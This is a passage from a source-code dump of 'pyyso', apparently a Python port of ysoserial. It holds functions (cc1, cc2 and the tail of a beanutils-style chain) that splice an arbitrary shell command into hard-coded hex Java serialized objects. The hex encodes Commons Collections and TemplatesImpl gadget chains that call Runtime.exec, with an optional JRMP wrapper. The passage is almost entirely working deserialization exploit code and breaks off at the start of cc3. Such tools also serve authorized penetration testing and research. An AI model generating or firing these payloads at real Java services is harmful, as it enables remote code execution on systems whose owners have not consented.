"aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572323934393434393734373436353701001f4c79736f73657269616c2f50776e657232393439343439373437343635373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0010000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e72707701007871007e000d78" 14 | length = (0x694 + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc1.py: -------------------------------------------------------------------------------- 1 | def cc1(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f02c1fbd86b00000180c681547380027372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b787372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574696c2e4d617074001966696c653a2f707269766174652f746d702f79736f2e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707371007e001c7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a617278707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834189902000074001966696c653a2f707269766174652f746d702f79736f2e6a61727870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000174001966696c653a2f707269766174652f746d702f79736f2e6a61727870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e003e7371007e00367571007e003b00000002707571007e003b00000000740006696e766f6b657571007e003e00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174" 4 | postfix = "740004657865637571007e003e0000000171007e00437371007e0031737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f76657272696465000000000000000000000070787071007e005a" 5 | length = len(cmd).to_bytes(2, byteorder="big").hex() 6 | hexdata = prefix + length + cmd.encode().hex() + postfix 7 | data = bytes.fromhex(hexdata) 8 | return data 9 | prefix = "aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174" 10 | postfix = "740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a" 11 | length = len(cmd).to_bytes(2, byteorder="big").hex() 12 | hexdata = prefix + length + cmd.encode().hex() + postfix 13 | data = bytes.fromhex(hexdata) 14 | return data 15 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc2.py: -------------------------------------------------------------------------------- 1 | def cc2(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = "51aced0005770f02dd5123c100000180c692d50a80027372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd2239020000707870000000047372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057078700000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c697374656e65727400114a524d504c697374656e65722e6a617661740006646f43616c6c7371007e000b000000e071007e000d71007e000e740009646f4d6573736167657371007e000b000000ab71007e000d71007e000e74000372756e7371007e000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870000000007704000000007871007e001b78737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b70787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e001d4c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000074001966696c653a2f707269766174652f746d702f79736f2e6a617278707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b74001966696c653a2f707269766174652f746d702f79736f2e6a61727870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000074000e6e65775472616e73666f726d6572757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e00284c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870" 4 | midfix = "cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 5 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e65723232373733323538353630393433380100204c79736f73657269616c2f50776e65723232373733323538353630393433383b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e0036000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007078700000000178" 6 | length = (0x696 + len(cmd)).to_bytes(4, byteorder='big').hex() 7 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 8 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 9 | data = bytes.fromhex(hexdata) 10 | return data 11 | prefix = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200426f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e5472616e73666f726d696e67436f6d70617261746f722ff984f02bb108cc0200024c00096465636f726174656471007e00014c000b7472616e73666f726d657274002d4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e73342f5472616e73666f726d65723b7870737200406f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e73342e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000e6e65775472616e73666f726d6572757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c65736865657471007e000a4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c61737371007e000b4c00055f6e616d6571007e000a4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870" 12 | midfix = "cafebabe00000034003907003701002e636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e733224537475625472616e736c65745061796c6f6164070004010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100304c636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e733224537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a457863657074696f6e73070019010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c65010010436f6d6d6f6e32746573742e6a61766101000c496e6e6572436c617373657307002701001a636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e7332010013537475625472616e736c65745061796c6f61640100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01" 13 | postfix = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501000f79736f73657269616c2f50776e65720100114c79736f73657269616c2f50776e65723b002100010003000100050001001a000700080001000900000002000a00040001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000006f00120000000c000100000005001300380000000100150016000200170000000400010018000e0000003f0000000300000001b10000000200110000000600010000007400120000002000030000000100130038000000000001001a001b000100000001001c001d000200010015001e000200170000000400010018000e000000490000000400000001b10000000200110000000600010000007800120000002a00040000000100130038000000000001001a001b000100000001001f002000020000000100210022000300080029000d0001000e00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002300000002002400250000000a000100010026002800097571007e001a000001c9cafebabe00000034001b07000201001e636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e733224466f6f0700040100106a6176612f6c616e672f4f626a6563740700060100146a6176612f696f2f53657269616c697a61626c6501001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f64650a000300100c000c000d01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100204c636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e733224466f6f3b01000a536f7572636546696c65010010436f6d6d6f6e32746573742e6a61766101000c496e6e6572436c617373657307001901001a636f6d6d6f6e322f436f6d6d6f6e436f6c6c656374696f6e7332010003466f6f002100010003000100050001001a000700080001000900000002000a00010001000c000d0001000e0000002f00010001000000052ab7000fb10000000200110000000600010000006800120000000c0001000000050013001400000002001500000002001600170000000a000100010018001a00097074000450776e727077010078737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000178" 14 | length = (0x66d + len(cmd)).to_bytes(4, byteorder='big').hex() 15 | length2 = len(cmd).to_bytes(2, byteorder='big').hex() 16 | hexdata = prefix + length + midfix + length2 + cmd.encode().hex() + postfix 17 | data = bytes.fromhex(hexdata) 18 | return data 19 | -------------------------------------------------------------------------------- /src/pyyso/yso/cc3.py: -------------------------------------------------------------------------------- 1 | def cc3(cmd: str, jrmp: bool = False) -> bytes: 2 | if jrmp == True: 3 | prefix = 